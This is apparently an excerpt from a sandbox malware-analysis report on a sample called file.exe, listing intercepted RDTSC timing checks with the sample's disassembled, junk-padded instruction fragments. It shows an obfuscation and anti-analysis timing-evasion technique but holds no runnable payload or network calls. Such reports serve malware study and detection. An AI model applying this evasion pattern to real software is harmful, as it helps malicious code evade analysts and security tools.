Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0EA1 second address: EA0EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F0AA second address: E9F0FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F40B4517B26h 0x00000008 jmp 00007F40B4517B27h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F40B4517B25h 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F812 second address: E9F82F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F82F second address: E9F83A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F83A second address: E9F865 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604CEh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F40B53604D7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FA15 second address: E9FA1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FB70 second address: E9FB7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F40B53604C6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FB7D second address: E9FB90 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F40B4517B1Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FCDD second address: E9FCE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FE29 second address: E9FE39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F40B4517B16h 0x0000000a jl 00007F40B4517B16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FE39 second address: E9FE3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA054E second address: EA057D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F40B4517B1Ch 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007F40B4517B1Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA057D second address: EA0593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B53604D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA6A44 second address: EA6A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F40B4517B16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9F2F second address: EA9F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9F35 second address: EA9F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F40B4517B23h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9F4F second address: EA9F77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jng 00007F40B53604C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9F77 second address: EA9F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9F7F second address: EA9F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9F84 second address: EA9F8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9AEA second address: EA9AF6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F40B53604CEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7333 second address: EB7346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F40B4517B1Eh 0x0000000b push edi 0x0000000c pop edi 0x0000000d jo 00007F40B4517B16h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7346 second address: EB734B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB48F second address: EBB502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B4517B22h 0x00000009 jl 00007F40B4517B16h 0x0000000f jmp 00007F40B4517B1Fh 0x00000014 popad 0x00000015 jmp 00007F40B4517B1Fh 0x0000001a pushad 0x0000001b jp 00007F40B4517B16h 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F40B4517B24h 0x0000002e pushad 0x0000002f jmp 00007F40B4517B22h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB502 second address: EBB507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB507 second address: EBB511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F40B4517B16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB511 second address: EBB517 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB68C second address: EBB690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC04E0 second address: EC04F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F40B53604CFh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC04F6 second address: EC04FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC04FC second address: EC0509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F40B53604D2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0509 second address: EC050F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9FB1 second address: EC9FCF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F40B53604D2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9FCF second address: EC9FD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9FD5 second address: EC9FDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9FDB second address: EC9FE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9E1D second address: EC9E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F40B53604D1h 0x0000000e jng 00007F40B53604C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9E3D second address: EC9E49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F40B4517B16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9E49 second address: EC9E4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9E4E second address: EC9E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9E5B second address: EC9E5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCF9D second address: ECCFA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCFA6 second address: ECCFAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCFAB second address: ECCFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 js 00007F40B4517B1Ch 0x0000000f jbe 00007F40B4517B16h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c jmp 00007F40B4517B27h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4FEF second address: ED4FF9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F40B53604D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3D08 second address: ED3D38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F40B4517B24h 0x00000012 jnp 00007F40B4517B16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3D38 second address: ED3D4E instructions: 0x00000000 rdtsc 0x00000002 js 00007F40B53604C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F40B53604CCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3D4E second address: ED3D5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jp 00007F40B4517B16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3D5A second address: ED3D60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4100 second address: ED4105 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4105 second address: ED4123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F40B53604C6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c jbe 00007F40B53604C6h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edi 0x00000016 jc 00007F40B53604CCh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4D11 second address: ED4D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5378 second address: EE5381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA6A9 second address: EFA6EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B26h 0x00000007 jmp 00007F40B4517B1Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F40B4517B1Eh 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 je 00007F40B4517B16h 0x0000001e popad 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFA6EC second address: EFA6F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7566 second address: DE7585 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 jmp 00007F40B4517B20h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7585 second address: DE758D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE758D second address: DE75A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F40B4517B16h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 jno 00007F40B4517B16h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1285C second address: F12862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1299C second address: F129B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F40B4517B20h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F13548 second address: F1355F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F40B53604D1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1355F second address: F13573 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F40B4517B16h 0x0000000e jl 00007F40B4517B16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F136D7 second address: F136DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F15071 second address: F15077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F15077 second address: F1507C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19394 second address: F193B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F40B4517B18h 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F196F4 second address: F196F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F196F8 second address: F19755 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F40B4517B16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push esi 0x0000000d push ebx 0x0000000e jmp 00007F40B4517B20h 0x00000013 pop ebx 0x00000014 pop esi 0x00000015 nop 0x00000016 mov dx, D553h 0x0000001a push dword ptr [ebp+122D1EB5h] 0x00000020 call 00007F40B4517B27h 0x00000025 mov edx, ecx 0x00000027 pop edx 0x00000028 call 00007F40B4517B19h 0x0000002d jmp 00007F40B4517B1Ah 0x00000032 push eax 0x00000033 pushad 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19755 second address: F19777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F40B53604C6h 0x0000000a popad 0x0000000b pushad 0x0000000c jno 00007F40B53604C6h 0x00000012 jp 00007F40B53604C6h 0x00000018 popad 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e pushad 0x0000001f push ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19777 second address: F19798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 jmp 00007F40B4517B1Dh 0x0000000b pop edi 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f jne 00007F40B4517B24h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460DEF second address: 5460DF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460DF5 second address: 5460E1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F40B4517B28h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460E1D second address: 5460E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460E21 second address: 5460E3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450CFD second address: 5450D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450D01 second address: 5450D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450D05 second address: 5450D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450D0B second address: 5450D51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 movzx esi, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F40B4517B1Eh 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F40B4517B20h 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F40B4517B27h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450D51 second address: 5450D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov ah, 73h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430102 second address: 543015E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bh 0x00000005 mov si, 93E9h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F40B4517B24h 0x00000012 push eax 0x00000013 pushad 0x00000014 mov edi, 6BDFDC64h 0x00000019 pushfd 0x0000001a jmp 00007F40B4517B1Dh 0x0000001f adc cl, FFFFFFA6h 0x00000022 jmp 00007F40B4517B21h 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F40B4517B1Dh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450B28 second address: 5450B7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F40B53604D7h 0x00000009 xor esi, 4016AE5Eh 0x0000000f jmp 00007F40B53604D9h 0x00000014 popfd 0x00000015 call 00007F40B53604D0h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 mov ax, di 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54506DC second address: 54506F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B4517B24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54506F4 second address: 545072D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B53604CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F40B53604D6h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F40B53604CEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545072D second address: 5450751 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F40B4517B20h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450751 second address: 5450757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545060A second address: 5450644 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F40B4517B21h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edi 0x00000014 pop eax 0x00000015 mov di, E66Ah 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450644 second address: 545068A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 pushfd 0x00000007 jmp 00007F40B53604D3h 0x0000000c sbb ecx, 495907BEh 0x00000012 jmp 00007F40B53604D9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 movzx esi, dx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5450404 second address: 5450433 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F40B4517B20h 0x00000008 add cx, 1058h 0x0000000d jmp 00007F40B4517B1Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 movzx eax, di 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
